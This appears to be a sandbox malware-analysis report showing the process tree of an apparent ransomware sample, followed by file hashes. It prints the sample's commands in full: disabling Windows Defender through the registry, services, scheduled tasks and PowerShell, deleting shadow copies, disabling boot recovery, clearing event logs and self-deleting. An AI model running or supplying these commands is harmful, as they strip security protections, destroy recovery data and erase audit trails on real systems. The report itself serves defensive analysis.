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C:\Windows\system32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f2⤵PID:1216
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C:\Windows\system32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:336
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C:\Windows\system32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:1600
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C:\Windows\system32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:568
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C:\Windows\system32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:976
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C:\Windows\system32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:824
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C:\Windows\system32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f2⤵PID:1532
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C:\Windows\system32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f2⤵PID:852
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C:\Windows\system32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f2⤵PID:1320
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C:\Windows\system32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f2⤵PID:756
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C:\Windows\system32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f2⤵PID:580
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C:\Windows\system32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f2⤵PID:1940
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable2⤵PID:996
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable2⤵PID:980
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable2⤵PID:764
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable2⤵PID:1140
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable2⤵PID:284
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C:\Windows\system32\reg.exereg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f2⤵PID:896
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C:\Windows\system32\reg.exereg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f2⤵PID:1568
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C:\Windows\system32\reg.exereg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f2⤵PID:1212
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C:\Windows\system32\reg.exereg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f2⤵PID:2004
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C:\Windows\system32\reg.exereg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f2⤵PID:1620
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C:\Windows\system32\reg.exereg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f2⤵PID:1736
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C:\Windows\system32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:1572
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C:\Windows\system32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:808
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C:\Windows\system32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:1500
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C:\Windows\system32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:1888
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C:\Windows\system32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f2⤵
- Modifies security service
PID:960
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C:\Windows\system32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:1740
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C:\Windows\system32\vssadmin.exevssadmin.exe delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1368
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C:\Windows\system32\wevtutil.exewevtutil.exe cl system2⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:108
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C:\Windows\system32\wevtutil.exewevtutil.exe cl security2⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:920
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C:\Windows\system32\wevtutil.exewevtutil.exe cl application2⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1144
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C:\Windows\System32\Wbem\wmic.exewmic.exe SHADOWCOPY /nointeractive2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1960
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C:\Windows\System32\Wbem\wmic.exewmic.exe shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:944
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C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
PID:1192
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C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} recoveryenabled no2⤵
- Modifies boot configuration data using bcdedit
PID:948
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C:\Windows\system32\cmd.execmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All2⤵PID:1476
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C:\Program Files\Windows Defender\MpCmdRun.exe"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All3⤵
- Deletes Windows Defender Definitions
PID:792
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C:\Windows\system32\cmd.execmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true2⤵PID:820
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIOAVProtection $true3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1452
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C:\Windows\system32\cmd.execmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true2⤵PID:792
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1676
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C:\Windows\system32\notepad.exenotepad.exe C:\K8zJ_HOW_TO_DECRYPT.txt2⤵
- Opens file in notepad (likely ransom note)
PID:1104
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C:\Windows\system32\cmd.execmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\zi1ysv64h.exe"2⤵
- Deletes itself
PID:2024 -
C:\Windows\system32\PING.EXEping.exe -n 5 127.0.0.13⤵
- Runs ping.exe
PID:364
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1KB
MD5f939d786e1fb30d287357d553719cf88
SHA1b5001e66047bb37310e8b9c78fef2d1ef6443e1f
SHA2565f3f1382a950d3c94afafb319c58b2b3731bce694966973685aad6bf9b156cad
SHA5128da927a8e9425e10a29daeb4b93f66484eca789805dd66a29bfee52b59c2a6df9895bc5dfd814eca788ed27b53463cdd4e8983ff2fc04496d5998a4193f3c2a9
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD59653669d4851e3803e605025307455f3
SHA1d33c880acd5cf7c46e16a61d38c8d6b165da3615
SHA25658c341af76e8263e2f2a1ac3498ccdbe75c88bb22b6fe9f1bd6c2cd997144061
SHA5124afbfab48a57ef8c85bf6bda2ce9eaee7a1c0617515225c0deb4a796571a9a65f2cdbd2c667904d6e8e93f3727ea486f2e9c1e819c7f4e7a15b6f78380db1f3a